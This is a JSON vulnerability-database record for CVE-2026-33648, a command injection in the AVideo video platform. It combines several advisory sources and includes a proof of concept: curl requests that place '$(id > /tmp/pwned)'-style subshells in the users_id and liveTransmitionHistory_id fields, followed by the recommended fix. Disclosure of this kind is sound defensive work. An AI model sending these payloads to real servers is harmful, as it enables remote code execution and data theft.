{"id":"CVE-2026-33648","aliases":["EUVD-2026-14484","GHSA-5m4q-5cvx-36mw"],"status":"published","title":"AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0065,"percentile":0.5161,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-78"],"published":"2026-03-23T18:25:07Z","modified":"2026-10-28T02:31:13Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33648","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5m4q-5cvx-36mw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33648.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33648","title":"AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.","status":"published","published":"2026-03-23T18:25:07.13Z","modified":"2026-03-25T14:28:05.154Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-14484","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.","status":"published","published":"2026-03-23T18:25:07Z","modified":"2026-03-25T14:28:05Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:29.129467Z"}],"ghsa":[{"id":"GHSA-5m4q-5cvx-36mw","title":"AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path","description":"## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj-\u003elogFile = str_replace('{users_id}', $robj-\u003eusers_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj-\u003eliveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' \u003e ' . $logFile . ' 2\u003e\u00261 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' \u003e ' . $logFile . ' 2\u003e\u00261 \u0026');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id \u003e /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... \u003e /var/www/tmp/ffmpeg_restreamer_x$(id \u003e /tmp/pwned)x_2026-03-20-... .log 2\u003e\u00261 \u0026\n```\n\nThe `$()` subshell executes `id \u003e /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami \u003e /tmp/pwned2)1\"\n  }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj-\u003eusers_id)) {\n    $robj-\u003eusers_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj-\u003eusers_id);\n}\nif (isset($robj-\u003eliveTransmitionHistory_id)) {\n    $robj-\u003eliveTransmitionHistory_id = intval($robj-\u003eliveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' \u003e ' . escapeshellarg($logFile) . ' 2\u003e\u00261 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' \u003e ' . escapeshellarg($logFile) . ' 2\u003e\u00261 \u0026');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.","status":"published","published":"2026-03-25T17:47:21Z","modified":"2026-03-25T17:47:22Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33648","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.","status":"published","published":"2026-03-23T19:16:40.907Z","modified":"2026-06-17T10:37:51.677Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33648","title":"AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.","status":"published","published":"2026-03-23T18:25:07.13Z","modified":"2026-10-28T02:31:13.028980614Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-5m4q-5cvx-36mw","title":"AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path","description":"## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj-\u003elogFile = str_replace('{users_id}', $robj-\u003eusers_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj-\u003eliveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' \u003e ' . $logFile . ' 2\u003e\u00261 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' \u003e ' . $logFile . ' 2\u003e\u00261 \u0026');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id \u003e /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... \u003e /var/www/tmp/ffmpeg_restreamer_x$(id \u003e /tmp/pwned)x_2026-03-20-... .log 2\u003e\u00261 \u0026\n```\n\nThe `$()` subshell executes `id \u003e /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami \u003e /tmp/pwned2)1\"\n  }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj-\u003eusers_id)) {\n    $robj-\u003eusers_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj-\u003eusers_id);\n}\nif (isset($robj-\u003eliveTransmitionHistory_id)) {\n    $robj-\u003eliveTransmitionHistory_id = intval($robj-\u003eliveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' \u003e ' . escapeshellarg($logFile) . ' 2\u003e\u00261 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' \u003e ' . escapeshellarg($logFile) . ' 2\u003e\u00261 \u0026');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.","status":"published","published":"2026-03-25T17:47:21Z","modified":"2026-03-25T18:11:20.249156Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:38.553953Z"}]}}
